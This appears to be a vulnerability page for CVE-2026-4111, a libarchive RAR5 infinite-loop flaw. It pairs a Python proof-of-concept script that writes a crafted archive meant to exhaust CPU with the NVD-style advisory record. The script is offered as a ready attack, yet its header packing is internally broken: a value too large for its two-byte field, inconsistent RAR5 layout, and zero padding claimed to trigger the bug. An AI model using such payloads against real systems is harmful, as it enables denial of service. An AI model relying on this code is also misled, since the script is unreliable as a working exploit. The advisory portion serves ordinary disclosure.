CVE-2026-4111

#!/usr/bin/env python3 """ CVE-2026-4111 PoC - libarchive RAR5 Decompression Infinite Loop This PoC generates a specially crafted RAR5 archive that triggers an infinite loop in libarchive's archive_read_data() function. Note: This is a proof-of-concept for educational purposes only. """ import struct import os def create_malformed_rar5(): """ Create a RAR5 archive with malformed compression data that triggers the infinite loop vulnerability in libarchive. """ # RAR5 signature rar5_signature = b'RAR\xfb\x27\x1a\x07\x00' # Archive header block header_type = 0x01 # Archive header header_flags = 0x0002 header_size = 0x3D header_crc = 0x00000000 # Placeholder # Archive info archive_info = struct.pack('<I', 5) # Version archive_info += struct.pack('<I', 0) # Volume number archive_info += struct.pack('<I', 0) # Timestamp # File header block file_header = b'\x02' # Header type: file header file_header += struct.pack('<H', 0x9000) # Flags (packed file) file_header += struct.pack('<I', 0x40) # Header size # File info file_info = struct.pack('<Q', 0) # unpacked size file_info += struct.pack('<I', 0x30) # attributes file_info += struct.pack('<I', 0) # timestamp # File name file_name = b'trigger.txt\x00' file_info += struct.pack('<B', len(file_name)) # name length file_info += file_name # Malformed compression data that triggers infinite loop # This exploits the vulnerability in decompression state machine malicious_data = b'\x00' * 1024 # Padding to trigger condition # Construct the malicious archive archive = rar5_signature archive += struct.pack('<I', header_crc) archive += struct.pack('<H', header_type | (header_flags << 16)) archive += struct.pack('<H', header_size) archive += archive_info archive += file_header archive += file_info archive += malicious_data return archive def main(): print("[*] Generating CVE-2026-4111 PoC RAR5 archive...") poc_data = create_malformed_rar5() output_file = "CVE-2026-4111-poc.rar" with open(output_file, 'wb') as f: f.write(poc_data) print(f"[+] PoC archive created: {output_file}") print(f"[+] File size: {len(poc_data)} bytes") print("\n[!] Usage: Process this file with vulnerable libarchive version") print("[!] Impact: CPU exhaustion due to infinite loop in decompression") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2026-4111", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:55:13.917", "lastModified": "2026-05-20T17:16:26.510", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was identified in the RAR5 archive decompression logic of the libarchive library, specifically within the archive_read_data() processing path. When a specially crafted RAR5 archive is processed, the decompression routine may enter a state where internal logic prevents forward progress. This condition results in an infinite loop that continuously consumes CPU resources. Because the archive passes checksum validation and appears structurally valid, affected applications cannot detect the issue before processing. This can allow attackers to cause persistent denial-of-service conditions in services that automatically process archives."}, {"lang": "es", "value": "Se identificó una vulnerabilidad en la lógica de descompresión de archivos RAR5 de la biblioteca libarchive, específicamente dentro de la ruta de procesamiento de archive_read_data(). Cuando se procesa un archivo RAR5 especialmente manipulado, la rutina de descompresión puede entrar en un estado en el que la lógica interna impide el avance. Esta condición resulta en un bucle infinito que consume continuamente recursos de CPU. Debido a que el archivo pasa la validación de suma de verificación y parece estructuralmente válido, las aplicaciones afectadas no pueden detectar el problema antes del procesamiento. Esto puede permitir a los atacantes causar condiciones persistentes de denegación de servicio en servicios que procesan archivos automáticamente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-835"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:10065", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:10081", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:10097", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:14773", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:15087", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:16008", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:16009", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:16174", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:17596", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:5063", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:5080", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:6647", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:7093", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:7105", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:7106", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:7239", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:7329", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:7335", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:8423", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:8746", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:8747", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:8748", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:8865", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:8944", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:9832", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2026-4111", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2446453", "source": "[email protected]"}, {"url": "https://github.com/libarchive/libarchive/pull/2877", "source": "[email protected]"}]}}